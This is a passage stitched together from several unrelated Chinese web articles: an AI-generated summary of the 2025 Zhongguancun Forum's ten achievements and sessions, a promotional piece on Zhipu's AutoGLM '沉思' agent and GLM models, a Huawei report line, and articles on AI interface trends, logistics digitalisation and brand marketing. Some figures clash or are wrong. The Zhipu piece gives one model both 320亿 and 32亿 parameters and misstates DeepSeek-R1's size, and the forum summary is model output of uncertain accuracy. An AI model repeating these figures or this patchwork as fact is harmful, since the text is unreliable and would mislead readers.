<p>在2025年中关村论坛年会开幕式上，发布了十项重大科技成果，涵盖了能源、材料、生物、信息等多个领域，展示了中国在科技领域的最新进展[6][7]：</p> <p>EAST首次实现千秒量级高约束模等离子体运行：中国科学院和中国科学技术大学在核聚变研究领域取得重大突破，为未来能源发展提供了重要技术支持。</p> <p>高能同步辐射光源成功发射第一束光：国家重大科技基础设施——高能同步辐射光源（HEPS）正式启动带光联调，标志着我国在大科学装置建设方面取得重要进展[19]。</p> <p>&#34;梦想&#34;号大洋钻探船建成入列：我国自主设计建造的首艘大洋钻探船正式交付使用，将显著提升我国海洋科学研究能力。</p> <p>60MW/100MWh先进压缩空气储能系统：该项目在张家口完成，是我国能源存储领域的重要里程碑，为可再生能源的大规模应用提供了技术支撑。</p> <p>中国首个实用化量子计算机&#34;量子虎鲸&#34;诞生：这一成果标志着我国在量子计算领域取得重要进展，为量子信息技术的实用化奠定了基础。</p> <p>中国首个自主可控的量子化学计算软件&#34;量子化学1.0&#34;发布：该软件的发布将促进量子化学研究的发展，为新材料设计和药物研发提供重要工具。</p> <p>中国首个自主可控的区块链底层平台&#34;长安链&#34;发布：这一平台的推出将推动我国区块链技术的自主创新发展，为数字经济提供底层技术支持。</p> <p>中国首个商用化碳捕获与封存（CCUS）项目在陕西启动：该项目的启动对于实现&#34;双碳&#34;目标、推动绿色低碳发展具有重要意义。</p> <p>中国首个自主可控的航空发动机控制系统在沈阳通过验收：这一成果填补了我国在航空发动机控制系统领域的技术空白，提升了国产航空发动机的自主创新能力。</p> <p>中国首个500千伏柔性直流输电工程在山东投运：这一工程的投运标志着我国在柔性直流输电技术领域达到国际先进水平，为构建新型电力系统提供了重要支撑。</p> <p>这些重大科技成果的发布，不仅展示了中国在各科技领域的最新进展，也为全球科技创新合作提供了重要参考。</p> <p>论坛主题与议题</p> <p>主题设置与讨论焦点</p> <p>2025年中关村论坛年会围绕&#34;新质生产力与全球科技合作&#34;这一主题，设置了多个主题论坛和专题讨论，重点关注以下领域：</p> <p>人工智能与未来产业：包括6G技术与产业创新论坛、未来互联网产业发展论坛等，探讨人工智能、6G等前沿技术的发展趋势及其对产业变革的影响。</p> <p>量子科技与前沿科学：如量子科技创新发展论坛，聚焦量子计算、量子通信等前沿领域的最新研究成果。</p> <p>绿色低碳与可持续发展：如碳达峰碳中和科技论坛、双碳战略与绿色金融论坛等，探讨科技在实现&#34;双碳&#34;目标中的作用。</p> <p>生命健康与医疗创新：如监管科学与生物医药高质量发展论坛、医学AI创新与发展论坛等，关注生物医药、医疗AI等领域的创新成果。</p> <p>国际合作与区域协同：如世界领先科技园区发展论坛、京津冀协同创新与高质量发展论坛等，探讨科技园区发展、区域创新协同等议题。</p> <p>科技赋能社会：如科技助残论坛、科技赋能城市可持续发展大会等，关注科技在改善民生、提升城市可持续发展能力方面的应用。</p> <p>代表性论坛活动</p> <p>论坛期间举办了多场平行论坛和专题活动，以下是几场具有代表性的论坛活动：</p> <p>6G技术与产业创新论坛：以&#34;探索技术趋势，引领产业创新&#34;为主题，汇聚国内外6G产学研用权威专家与行业领袖，聚焦语义通信、6G与AI深度融合、多样化场景网络架构、星地融合等前沿话题[24]。</p> <p>企业发现与发明论坛：由国务院国资委副主任苟坪、北京市副市长靳伟致辞，探讨企业创新与发明的重要性和实践路径[23]。</p> <p>科技助残平行论坛：由中国残联主席程凯出席，论坛聚焦科技在残疾人赋权和无障碍环境建设中的应用，探讨如何通过科技创新提升残疾人的生活质量[26]。</p> <p>未来互联网产业发展论坛：论坛以一场科技与人文交融的特别环节拉开帷幕，在主旨演讲环节，邬贺铨院士就《以AI加持网络重构和模式》进行了深入探讨[27]。</p> <p>这些论坛活动不仅展示了各领域的最新研究成果，也为全球科技界提供了深入交流与合作的平台。</p> <p>科技合作成果</p> <p>全球科技合作</p> <p>2025年中关村论坛年会强调了全球科技合作的重要性，论坛期间举办了多场国际科技合作相关的活动：</p> <p>世界领先科技园区发展论坛：探讨全球科技园区的发展趋势和创新模式，促进国际科技园区间的合作与交流。</p> <p>中韩科技创新合作论坛：加强中韩两国在科技创新领域的合作，共同应对全球性挑战。</p> <p>中国北欧可持续发展与创新论坛：在中关村国际创新中心和航星科技园举办了两场活动，探讨可持续发展与创新的路径与方法。</p> <p>国际科技组织发展研讨会：汇聚国际科技组织代表，探讨科技组织在促进全球科技创新合作中的作用。</p> <p>这些国际科技合作活动的举办，为全球科技创新合作提供了重要平台，推动了国际科技界的交流与合作。</p> <p>区域创新协同</p> <p>论坛还特别关注区域创新协同，举办了多场相关论坛：</p> <p>京津冀协同创新与高质量发展论坛：探讨京津冀地区在科技创新领域的协同机制和合作模式，推动区域创新一体化发展。</p> <p>京港科技创新论坛：加强北京与香港在科技创新领域的合作，促进两地科技创新资源的共享与互补。</p> <p>千校万企协同创新大会：促进高校与企业之间的协同创新，推动产学研深度融合，提升科技创新的转化效率。</p> <p>这些区域创新协同活动的举办，为推动区域创新一体化发展提供了重要平台，促进了科技创新资源的优化配置和高效利用。</p> <p>论坛影响与意义</p> <p>科技创新引领作用</p> <p>2025年中关村论坛年会通过展示中国在各科技领域的最新成果，发挥了科技创新引领作用：</p> <p>展示中国科技创新成就：论坛发布的十项重大科技成果，展示了中国在核聚变、量子计算、人工智能等前沿领域的最新进展，彰显了中国在科技创新方面的实力和潜力。</p> <p>促进科技成果转化：通过中关村国际技术交易大会等平台，促进了科技成果的转化和应用，推动了科技与经济的深度融合。</p> <p>引领科技发展方向：论坛讨论的前沿技术趋势和未来产业发展方向，为全球科技创新提供了重要参考，引领了科技发展的新趋势。</p> <p>全球科技合作平台</p> <p>中关村论坛作为全球科技合作的重要平台，发挥了以下作用：</p> <p>搭建国际交流桥梁：论坛为全球科学家、企业家和投资人提供了交流思想、分享成果的平台，促进了国际科技界的交流与合作。</p> <p>推动全球科技治理：通过科学与外交国际论坛等活动，探讨了全球科技治理的新模式和新路径，推动了全球科技治理的完善与发展。</p> <p>应对全球性挑战：论坛关注气候变化、公共卫生等全球性挑战，探讨了科技在应对这些挑战中的作用和路径，为全球性问题的解决提供了科技视角。</p> <p>科技赋能社会</p> <p>论坛还关注科技赋能社会的多个方面：</p> <p>科技助力民生改善：通过科技助残论坛等活动，探讨了科技在提升残疾人生活质量、促进社会包容发展方面的作用。</p> <p>科技赋能城市可持续发展：通过科技赋能城市可持续发展大会等活动，探讨了科技在提升城市可持续发展能力、建设智慧城市方面的应用。</p> <p>科技促进教育公平：通过AI赋能教育等活动，探讨了科技在促进教育公平、提升教育质量方面的潜力。</p> <p>这些科技赋能社会的讨论和实践，展示了科技在改善人类生活、促进社会可持续发展方面的巨大潜力。</p> <p>结论</p> <p>2025年中关村论坛年会作为中国科技创新领域的重要年度盛会，通过展示重大科技成果、举办多场主题论坛和活动，成功搭建了全球科技交流与合作的重要平台。论坛发布的十项重大科技成果，展示了中国在各科技领域的最新进展；论坛设置的主题和议题，涵盖了人工智能、量子科技、绿色低碳等多个领域，反映了当前科技发展的前沿趋势；论坛举办的国际科技合作和区域创新协同活动，促进了全球科技界的交流与合作，为应对全球性挑战提供了科技视角。</p> <p>随着全球科技创新合作的不断深入和科技对社会影响的日益扩大，中关村论坛将继续发挥其作为全球科技交流与合作平台的重要作用，为推动全球科技创新发展、应对全球性挑战、促进人类福祉作出更大贡献。</p> </blockquote>   可以看到，AutoGLM沉思模型的运作可概括为​“感知-决策-验证-执行”四步闭环： - 动态感知：通过实时联网搜索（如抓取中关村论坛官网、新闻源）获取最新信息，突破训练数据时效限制； - 多路径决策：基于GLM-Z1的反思能力生成多种分析框架（如科技成果分类、论坛议题关联性分析），避免单一思维偏差； - 逻辑验证：调用GLM-Z1-Rumination的自我纠偏机制，交叉核验信息可信度（如对比新华网、清华大学等多源报道确认十大科技成果）； - 自主执行：通过AutoGLM自动生成结构化报告，并优化输出形式（如按“成果发布-平行论坛-国际合作”逻辑组织500字总结）。   整个过程体现了AI的自主性——从原始信息采集到最终成果交付，无需人工干预流程设计。   但是呢，我只要它给我输出500字，它给我整了足足3733字……   在发布会现场，智谱CEO张鹏还展示了花14天时间，用「沉思」孵化了一个五千粉小红书知识账号。   短短两周内，这个自媒体账号已成功接到商业合作订单了。   这一成绩得益于「沉思」的Agent能力。它能够自主在小红书、知乎等平台上搜索和整合信息，针对指定话题进行深度查询。用户只需输入想要讨论的话题，例如如何选择咖啡壶、化妆品成分对比等，「沉思」即可从数百个信源中提取核心内容，生成详尽的分析报告。   即使是对某一领域完全陌生的人，也能借助「沉思」快速变身为专业的知识博主，输出高质量的原创内容。   做小红书博主，AI真学会自己接单赚钱了。    图片来源：智谱   ## 从GLM-4到沉思模型的全栈进化   支撑AutoGLM沉思的，是智谱自研的GLM系列模型矩阵。   其技术路径很清晰：从通用基座模型GLM-4，到推理能力大幅提升的GLM-Z1，再到引入“沉思”能力的GLM-Z1-Rumination，最终融合成AutoGLM的执行力。   智谱全新打造的GLM-4-Air-0414是一款拥有320亿参数的基座模型。通过在预训练阶段融入更多代码和推理数据，并针对智能体任务进行优化，该模型在工具调用、联网搜索和代码生成等领域的表现大幅提升。   32亿参数的规模看似不算最大，但其设计却精准适配了智能体多轮复杂交互的需求，能够快速响应并执行任务。   这种“高效率+高能力”的组合，让GLM-4-Air-0414成为AI智能体大规模落地的核心支撑。   基于GLM-4-Air-0414，智谱推出了深度思考模型GLM-Z1-Air。通过引入更多推理数据并优化通用能力，该模型在数学推理和复杂问题求解上展现出实力。   在AIME 24/25、LiveCodeBench和GPQA等权威基准测试中，GLM-Z1-Air的性能可媲美DeepSeek-R1（671亿参数，激活37亿），但推理速度提升了8倍，成本却低至原来的1/30。   此外，它还能在消费级显卡上运行，极大降低了硬件门槛，为开发者提供了更多可能性。   与此同时，智谱还将免费模型GLM-4-Flash升级为GLM-4-Flash-0414，并推出轻量化推理版本GLM-Z1-Flash。这两款模型在保持高效性能的同时，完全免费开放，适用于更广泛的应用场景。   基于GLM-Z1，智谱通过扩展强化学习训练，提升了模型结合工具使用完成长程推理能力，训练出沉思模型GLM-Z1-Rumination。   GLM-Z1-Rumination是智谱对AI自主性的全新探索。通过强化学习训练，这款沉思模型突破了传统AI仅依赖内部知识的局限，融合实时联网搜索、动态工具调用和自我验证能力，构建了一个完整的自主研究闭环。   它能主动理解用户需求，通过多角度分析和反复修正假设，产出更可靠的研究成果。这种从“高智商”到“高智商+高自主”的转变，让GLM-Z1-Rumination在复杂任务中展现出潜力。   这些模型将于4月14日开源，并陆续上MaaS平台（bigmodel.cn），为全球开发者提供。   在行业生态的构建上，智谱选择了一条务实的道路。作为模型提供商，智谱致力于让GLM系列成为合作伙伴成功的基石。   目前，智谱已与金融、教育、医疗、政务和企业服务等多个领域的头部企业建立合作，共同探索Agentic LLM的落地应用。例如，在金融领域，智能体可以优化风险评估与客户服务；在教育领域，则能提供个性化的学习助手。   这些跨行业的实践，不仅验证了GLM模型的通用性，也为AI智能体的商业化开辟了广阔空间。   与此同时，智谱的触角延伸至区域合作。前段时间，智谱接连拿下杭州、珠海、成都三地国资，并且也已经与北京、杭州、上海、成都、珠海等城市达成战略伙伴关系，携手当地龙头企业，推动区域大模型应用生态的繁荣。   这种“技术+地域”的模式，不仅加速了智能体在中国的普及，也为地方经济注入了新的科技活力。   同时，智谱还积极推动中国原创大模型技术出海，助力“一带一路”沿线国家构建自主、可控的AI能力。智谱主导成立了“自主大模型国际共建联盟”，联合东盟十国及“一带一路”沿线的10个国家，共同打造无幻觉、可信赖的AI基础设施。   AI智能体的崛起标志着下一代应用范式的到来，而智谱正以全方位的投入迎接这一变革。随着Agentic GLM的持续迭代和生态网络的不断扩展，智谱或许将为我们带来更多惊喜。  

华为在财报中总结了行业趋势，涉及联接产业、算力基础设施、云、智能终端、智能汽车等行业大类。此外，2024年华为出售荣耀业务及服务器业务的收益核算或已完结。

<blockquote><p>从语音、视觉到多模态交互，从静态界面到动态自适应设计，AI 交互正在经历一场深刻的变革。本文将深入探讨 AI 产品交互的新兴趋势，以及低代码和无代码 AI 集成的发展，供大家参考。</p> </blockquote>  随着ai 产品 增长和创新的井喷爆发，在新推出的ai 产品上，我们也看到了新的交互形态。ai 对交互的要求，技术和工具的赋能，使交互设计在个性化，多模态 和自适应拟真 等层面不断更迭。许多ai 初创公司也在新型交互上呈现了新的探索和尝试。 ## 语音视觉多模态交互与情景自适应 ### 多模态交互能力 下一代人工智能界面有望超越基于文本的交互更多实现多模态交互能力： - 先进的语音和语音识别 - 具有增强情感智能的自然语言处理 - 视觉和手势输入集成 - 不同交互模式之间的无缝转换 ### 情境性和自适应界面 人工智能界面的未来正在超越静态交互，走向更加动态和情境感知的体验。许多ai 初创公司正在探索能够： - 根据用户上下文和偏好动态调整 - 提供基于实时理解的个性化交互 - 跨多个平台和设备无缝集成 **Vapi (https://www.vapi.ai)**  图片来自voiceAI官网 对于复杂的工作流配置功能，以画布形式呈现产品工作流，为用户提供一目了然的画面感，成为ai 交互产品中的一种主要交互模式。以ai 初创公司 vapi 为例，这是一款面向开发者的ai 工具，他们的使命是voice AI for developers,帮助开发者在短时间内高效创建，测试和部署语音agent。这个产品面向的关键用户是希望在自己的移动应用中集成语音助手(voice agent )的开发者。在与agent 对话过程中，ai 对提问者中断的反应 考虑到在语音交互，信号接收以及反馈的过程中，用户对语音交互的延迟感知非常敏感，对语音交互延迟的感知细化到了毫秒级别（millisecond），也就是对反应延迟的控制精度要求。 更近一步，在语音交互过程中，ai 可以通过实时学习对话内容,自适应应答。例如,用户a在跟ai 的对话中被用户b打断，那么ai 会自动识别对话者的切换并且在接下来的对话中进行调整。 **Retell AI (https://www.retellai.com)** 华人创始团队的ai公司retall ai提供了ai 语音客服服务，并且能够根据用户所在场景自适应调整交互模式和对话内容。官网目前支持的场景包含商机管理，前台接待人员，调研，客服，催收等等。同时在交互中实时进行自适应，例如，在识别出对话对象处于休假状态的时候，会根据休假场景自动作出回应。 ## 无限画布重构ai 交互 在新兴ai初创中，我们同时也看到无限画布的交互方式在不同ai 产品中被作为主流交互模式，例如to c 的新一代ai 创作工具flowith 和to b 工作流自动化产品。 **Flowith.ai** 作为新一代ai 创作工具，其愿景是Craft the ultimate vessel for super intelligence，致力于打造无缝的ai 集成产品。Flowith引入画布借助于ai 完成了低延时的准实时交互，同时也体现了画布设计的关键优势： a.协助用户完成多线程思维：用户可以进行多个思考分支，实现并行设计，创作和思维拓展 b.视觉化组织：任何内容和工作流设计通过视觉化呈现而非线性或者文本堆叠 c.上下文内容追踪：每个节点关系清晰可见，交互进度克追踪，解决了传统对话中上下文丢失的问题 **Gumloop(https://www.gumloop.com)** 公司愿景是10倍加速ai 工作流自动化，无代码。作为一个工作流设计系统，cavas 画布成为最核心的交互形式。其交互重点在于，通过视觉化的画布更好呈现了agent 工作流。 Gumloop 同时提供多种主流数据源和数据格式的对接，包括google 办公软件，主流笔记产品notion，slack等协作工具。  图片来自gumloop 官网 **AnswerGrid – answer at scale** 在搜索和对话交互中提供用户友好的提示语样本 多模式和交互性表格设计- 为每一个表格提供独立代理 对每一个动作按钮进行明确清晰的定义 确保所有相关数据源呈现，这对打造用户信任度非常重要。用户可以信赖agent 通过数据源处理的结果，例如相关的引用和链接等等 在专业领域的ai 产品设计中，对话过程中友好的prompt 提示显得非常重要 以初创公司AnswerGrid 为例，在大批量对话交互中，实时给用户提供提示语（prompt模版） 通过自适应ui 调整来满足个体用户的个性化需求 表格化agent的交互界面，呈现给用户的不仅有agent 结果，也有每一个结果的数据来源：   图片来自Answer grid官网 ## 专业领域界面 与通用解决方案不同，趋势是走向高度专业化，增强智能化的人工智能界面，重点从替代转向增强：医疗、金融、教育等行业特定界面，能够增强人类能力的人工智能界面。 - 与人类并肩工作的协作系统 - 能够理解特定领域词汇和工作流程的定制体验 - 可以快速适应特定专业或个人使用场景的 - 提供智能建议和决策支持的界面 ai 代理自主规划于执行：自主规划，任务分解，无限工具调用，自我优化 Hebbia.AI 是一家文档处理公司，给不同行业（金融，法律，大企业）提供文档分析和处理模版，在分析表格为主的界面上实现金融尽职调分析，法律文件分析，企业监管文件分析、PDF 以及音频和视频剪辑，以帮助专业领域的客户处理垂直行业场景的查询和分析 Polymet.AI提供了行业ai 产品设计工具，例如医疗保险行业。在产品设计上考虑交互背后的逻辑，在生成提示的时候保持用户交互持续性，例如在时长过久的时候提示用户10分钟后返回结果。产品生成prompt 的同时提供了不同的设计要素供用户选择。       图片来自Polymet.AI官网 ## 低代码和无代码人工智能集成 人工智能界面开发将越来越拉进技术与非技术用户的距离，代码生成的自动化将允许非技术用户自定义创建人工智能界面。典型的交互方式有拖放的人工智能界面构建工具，提供模块化的人工智能组件库。 无代码AI平台通过降低人工智能实施的门槛提供了显著的优势。它们使业务用户、分析师和领域专家能够创建AI驱动的解决方案，而无需深入的技术专业知识。这种民主化可以加速数字化转型，惠及那些可能缺乏资源构建定制AI解决方案的组织和行业。 最好的无代码AI产品在简单性和能力之间取得平衡。它们通常提供直观的可视化界面、预建模板和拖放功能，同时仍然提供访问强大的AI模型和工作流的能力。这种组合允许快速原型设计和部署可以提供真正业务价值的AI解决方案。 非常典型的无代码平台有cursor，瑞典公司lovable等。无代码开发平台+ 底层大模型已经成为许多非技术用户快速开发产品原型和上线的王牌工具组合。  图片来自lovable官网 总而言之，ai界面交互趋势的推动要归公于多项技术发展： - 先进的机器学习模型 - 改进的自然语言处理 - 量子计算的进步 - 增强的神经网络架构 - 改进的传感器和输入技术 ## 挑战与考虑 尽管ai 交互成为主流并且不断革新，但是在伦理和安全层面还有层层挑战，如何缓解在人工智能系统中的偏见，保持以人为本的设计，最终在伦理合规，数据安全，技术能力和用户体验之间取得平衡是必须持续突破的课题。 ## 预测展望 人工智能界面的未来不仅仅在于创造更智能的系统，而是创造更以人为本、更具适应性和情境感知的体验。最成功的界面将是那些能够无缝融入用户生活、理解其独特需求，并在不造成复杂性的情况下提供价值的界面。我们可以预期人工智能界面在下一个十年将实现高度个性化，跨领域和平台的集成，关注增强人类的潜能而非替代。 本文由 @wanlinguo 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自Unsplash，基于CC0协议 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务

<blockquote><p>传统物流运输服务商在资源整合与生产运行组织协同方面存在诸多问题，如资源利用率低、信息传递不畅、各环节协同性差等，这些问题严重制约了行业的进一步发展。本文将深入分析物流运输服务商在数字化转型过程中面临的现状与问题，探讨数字化技术如何驱动资源整合与运营协同机制的创新，供大家参考。</p> </blockquote>  在全球经济一体化进程加速以及信息技术飞速发展的当下，数字化转型已成为各行各业实现产业升级与可持续发展的关键路径。物流运输作为经济运行的动脉系统，连接着生产、流通与消费各个环节，其运作效率与服务质量对整个经济体系的影响至关重要。然而，传统的物流运输服务商在资源整合与生产运行组织协同方面存在诸多弊端，如资源利用率低下、信息传递不畅、各环节协同性差等问题，严重制约了行业的进一步发展。 ## 一、数字化转型下物流运输服务商面临的现状与问题 ### 1、运力结构与运营效率问题 在数字化转型浪潮下，物流运输服务商面临着运力机构失衡与效率不足的困境。一方面，自有运力工作效率欠佳，由于市场变化、资源短缺等因素，多地自有车辆闲置或工作效率不达标，并且老旧车辆维修成本较高、吨位利用率下降，资源处置流程冗长，严重影响资产效能。另一方面，外协车辆依赖度过高，部分业务大多是依靠外协运力，部分承运商车辆缺乏有效管控，调配冗余，运输服务商还同时服务竞品，导致高峰期运力协调艰难，这些问题严重阻碍数字化转型，难以实现高效智能运输管理。除此之外，不同物流环节的数字化系统兼容性较差，形成数据孤岛，严重阻碍物流信息的顺畅流通与共享交流，影响行业数字化转型的推进。 ### 2、市场响应与资源统筹难题 物流运输服务商在市场响应与资源统筹方面存在欠缺，市场开阔能力薄弱，对属地高效市场的主动对接不足，过度依赖单一市场，抗风险能力弱，且新市场开发依赖外协，导致收入结构失衡。资源调度机制僵化，跨区域运力协同不足，旺季运力缺口大时无法有效调配相邻区域资源，运价波动及客户需求变化时响应滞后，配送业务流失。在数字化转型进程中，不能及时响应市场变化，合理统筹资源，影响企业竞争力与转型发展。 ### 3、生产运行组织协同存在的问题 首先，物流各个环节衔接不够顺利，运输、仓储、配送等环节缺乏紧密合作交流，这导致货物在流转的过程中出现延误、积压等情况。例如，仓储部门并未及时将货物准备好，影响运输车辆的准时出发。其次，行业缺乏统一的信息共享和协同平台，各个环节数据更新速度不够及时，导致各个部门难以掌握物流实际状态，也无法做出准确决策。再次，利益分配机制不够合理，在协同的过程中，各个参与方对利益分配存在一定的分歧，极大地影响协同积极性。配送环节承担较多工作并未得到合理回报，导致协同意愿降低，严重影响物流运输生产运行协同质量。 ## 二、数字化转型驱动资源整合与运营协同机制分析 ### 1、数字化技术对资源整合的驱动机制 通过使用大数据技术，可以全面收集和深度分析各类物流资源数据。例如车辆、仓储设施、人力资源等，帮助企业精准掌握资源分布与使用的实际情况，进而根据市场需求和李调配资源，避免资源闲置或者资源过度使用。通过分析历史运输数据，可以预测不同地区、不同时段的运力需求，提前安排车辆调度。另外，物联网技术可以实现对物流资源的实时监控与智能管理，通过在设备上安装传感器，可以实时获取车辆位置、货物状态等信息，让企业及时发现资源异常，快速响应并且优化资源配置。例如监测到运输车辆故障，及时调度备用车辆，保障运输任务顺利进行。 ### 2、数字化技术对运营协同的促进机制 一方面，借助云计算搭建的统一信息平台，可实现运输、仓储、配送等各运营环节工具的实时共享与同步更新。各部门能随时获取准确信息，提前规划工作，如仓储部门依据运输预计到达时间，安排货物装卸与存储，避免货物积压或延误。另一方面，人工智能技术通过智能算法优化运营流程，如自动规划最优运输路线、合理安排仓储空间等，提高各环节协同效率。同时，智能预测功能是基于历史数据和实时信息，预测市场需求与物流异常，提前做好应对措施，增强运营系统的稳定性。 ### 3、资源整合与协同运营的相互促进关系 有效资源整合可以为运营血统打下坚实基础，整合之后的资源可以实现优化配置。例如车辆、仓储资源的合理调配，让各个运营环节拥有更加充足并且适配的资源可供使用，减少由于资源短缺或者资源过剩导致的协同障碍，提升整体运营效率。反之，运营协同对资源整合具有反馈调节作用，在协同运营期间，各个环节可以及时发现资源使用的不合理之处，为资源整合提供准确信息化支撑。例如在配送环节发现某区域车辆长期运力不足，及时将问题反馈给资源整合部门，增加该区域运力。这种资源整合与运营协同相互促进的关系形成良性循环，在数字化转型的驱动下，不断提升物流运输服务商的服务质量和市场竞争力。 ## 四、数字化转型下物流运输服务商生产运行组织协同创新模式 ### 1、运力结构优化协同 一体化运营协同模式的主要目的在于打破物流运输各个环节的壁垒，实现全流程的无缝对接与协同运作。在数字化转型背景下，物流运营服务商依靠先进的信息技术、构建涵盖订单处理、仓储管理、运输调度、配送服务等各个环节的一体化信息平台。另外，物流运输服务商需要强化自有运力的主导地位，通过设定车吨产量、工作率、吨位利用率等关键效率指标，利用数字化手段实现日监督、周通报、月考核机制，确保自有运力高效运行。借助大数据分析，划分高效与低效市场，优化调派自有车辆直行高效的市场任务，限制外协车辆的低效市场或应急调峰，杜绝以外带内的情况。 ### 2、市场响应与资源统筹协同 运输服务商需构建数字化驱动的市场响应与资源统筹机制，利用数字化工具深入分析市场，主动对接核心客户，精准把握市场需求，争取增量运输招标， 推动客户配送模式转变。细分市场层级，依据市场特性与运力状况，合理分配自有车与外协车业务。 同时，建立库存预警及跨区域运力协作的数字化平台，实时监控实时监库存与运力状态，依据需求波动动态调整运力部署，实现资源的高效统筹与跨区域协同，提升市场响应速度与资源利用效率。 ### 3、智能化运营协同模式 智能化运营协同模式主要依靠人工智能、物联网、大数据等数字化技术体系，从而实现物流运输运营的智能化决策与协同管理。物联网设备可以实时采集货物状态、运输设备运行数据等信息，及时上传到大数据平台并进行分析。人工智能算法基于这些数据，对运输线路、仓储管理、配送计划等进行智能优化和改进。例如根据实时路况和车辆状态，智能调整运输路线，避免路线拥堵，有效提高运输效率。还可以根据库存货物的动态变化，智能化规划仓储空间，有效提高仓储利用效率。 ## 四、写在最后 在数字化浪潮奔涌向前的时代，物流运输服务商资源整合与生产运行组织系统模式的创新迫在眉睫且意义深远。展望未来，数字化转型下的物流运输行业将会获得更加广阔的发展空间。成功实现资源整合与生产运行的协同模式创新的企业，将会在激烈的市场竞争当中脱颖而出，引领行业发展潮流。相信随着技术的的持续进步与行业的不断探索，物流运输服务将会更高效、智能、绿色，为全球经济的繁荣发展注入源源不断的动力。 作者：物流小兵说 公众号：物流小兵说 本文由 @物流小兵说 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自 Pexels，基于CC0协议 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务

<blockquote><p>当业务进入从10到100的阶段，核心业务可能面临增长瓶颈，而新的增长曲线尚未成熟，如何在这一阶段实现营销资源的高效配置和品牌价值的深度挖掘，成为营销人必须面对的挑战。</p> </blockquote>  今天，我们继续探讨从10~100的阶段。随着规模不断扩大，业务逐渐进入分化期，主业务可能面临天花板，核心单品的投放效率和渠道吸引力降低。 此时，企业需要进行产品迭代和创新，同时规划第二曲线，如模式或品类创新。 品牌和营销策略必须适配业务模型的变化，采用分层营销管理，包括针对第一曲线、第二曲线的策略以及夯实基础深挖业务护城河。  ## 一、针对第一曲线的品牌营销策略 首先，在10~100的阶段，核心大单品可能遇到瓶颈，营销效率降低，媒体和用户讨论声量减弱，复购增长变缓。此时，第二曲线可能尚未成熟，资源仍需聚焦在第一曲线，因为是现金流的保障，所以需要专项提升第一曲线单品的营销效率。 产品层面 **核心大单品的迭代和更新** - **改变产品形态风格**：根据消费体验、新场景和趋势，吸引新人群。 - **深挖底层需求**：优化产品或服务模式，满足更原始的人性需求。案例：永璞咖啡将咖啡粉改为咖啡液，这是因为人的最底层，人性是懒和怕麻烦。相对咖啡粉还要冲泡和搅拌，咖啡液能更快地溶解于液体，更丝滑的融入，极其方便。所以更适配消费者追求便捷的底层需求。 营销层面 - **新平台+旧产品**：因为核心单品在现有平台的边际效应递减，尝试新的大平台推广，可覆盖更大的人群体量。小渠道是难以拉动大马车的，必须是大平台而非小渠道。 - **新产品+旧平台**：在原有平台主推迭代后的产品，利用品牌认知基础和新产品吸引力，拓展未转化人群。  ## 二、针对第二曲线的品牌营销策略 第二曲线一般都建立在核心业务的能力和资源基础上，通常可分为两种思路： - **大创新**：从无到有，开拓新业务线，采用全新模式增长，如开创或收购新品牌。 - **小创新**：复用现有业务线用不同模式或方法探索，确保资源可重复使用。 无论是渠道的循环利用，还是人群的高度聚焦，针对第二曲线的营销，最关键的一点不是方法和资源，而是团队。为了能够让小树苗有足够的成长空间，必须要保证其独立性，也就是用独立的团队去运作。 举个案例：09年的时候，国民运动品牌安踏收购斐乐这个品牌，收购之前，斐乐也主打专业运动，但业绩不佳，安踏为了这个品牌找到一个新的定位，主打运动、时尚和母品牌主打的专业运动，有一定的区隔性和差异性。 因此在团队资源、品牌的营销上都给予这个新品牌以完整和独立的空间成长。比如这个子品牌由外部的 CEO 独立负责，并邀请在外部具备多年的设计师负责产品设计。 渠道聚焦一二线城市的核心商圈，经过一系列的独立运作，这个品牌的增速非常迅猛，20年底已经达到了 200 亿的流水。这里也在做一个强调，就是很多企业面临着第一曲线和第二曲线的资源分配问题，这里有两个原则，就是针对同一平台的资源优先肯定是第一曲线的核心单品，因为在较长的周期里，它还是核心收入的来源。 第二个原则是尽量避免不同品类、不同类型的产品同时同一周期在同一平台推广。因为这看似是高效利用资源，实际上会扰乱用户的认知和心智，造成记忆度下降。  ## 三、夯实底层基础，深挖业务护城河 进入10~100的阶段，企业需不断强化底层能力，将无形资产转化为壁垒。 对企业来说，真正的护城河包括品牌、渠道、供应链、技术等等。在这里我们重点说品牌。 很多人说到品牌，提到的都是小红书、抖音、怎么做双11、怎么盘货，这些都是传播层面的问题，但真正的问题是只讲品牌的外延，不说品牌的内涵和价值，不提炼品牌的明线和暗线，并不能真正建立起品牌。 这能够解释为什么很多企业活不长，很多品牌都昙花一现，看似吃到了流量红利、品类红利，但快速衰落。这些企业以为自己做了品牌，但从未建立过品牌。 那么如何衡量品牌是否建立呢？ - **品牌核心认知点**：是否有明线上的核心认知点被有效记忆。 - **品牌价值观**：暗线上是否建立超越产品价值的情感连接。 - **跨品类吸引力**：是否具备跨品类的吸引力和感召力，如苹果和华为。 举个案例：扫地机器人品类，在19 ~ 21年的时候，品类红利中催生了一波扫地机洗地机品牌，他们在渠道和流量的运作中获得极快的增长。 而到了今年，增长乏力，业绩压力大，无法新增品类或 ToC 做跨品类的产品，因为没有建立起有效的品牌认知和足够的品牌资产，无法支撑跨品类的业务扩张。 与之相反的是 Babycare 依靠着用爱重新定设计，这个非常强大的品牌站位，锚定新一代的父母人群，号称永远和年轻妈妈站在一起，借助优质的品牌内容，在私域和核心人群中保持高频、高质量的沟通，一路走高直至母婴全品类市场第一。 有的公司觉得我砸钱做过一两年的广告，有一定的认知之后就可以愉快的收割了。 对此华杉讲过一句话，非常精准，就是：我们面对的受众有两个特性，茫然和健忘。如果你的品牌记忆点没有持续有效的曝光，情感沟通没有一直进行，那么目标用户很快就会被过多的信息所淹没，重新变成对品牌茫然的个体。 具体的品牌做法我在之前的文章都有表述，在这里就不做赘述了，只说一点，把品牌做成护城河，必须关注长期和可持续性。  ## 四、品牌与营销的长期建设 品牌能成为护城河，那营销是否能？ 我的答案：营销本身并不能成为护城河，无论是流量红利、流量的精细化运营。因为可变因素太多，受环境和资源的影响变动较大。 但如果把营销和产品所结合起来，提炼持续打造做爆品的能力，成为企业的内在竞争力，那确实是可以成为护城河。 具体方法： - **挖掘底层需求**：识别用户在品类中的底层需求，构成赛道核心策略。例如，瑞幸的9.9元咖啡战略和科大讯飞在儿童教育市场的布局。 - **建立爆品数据模型**：前向通过用户行为和渠道数据识别潜在的爆品机会，后向通过建立小范围测试的反馈机制，持续打磨和优化产品。  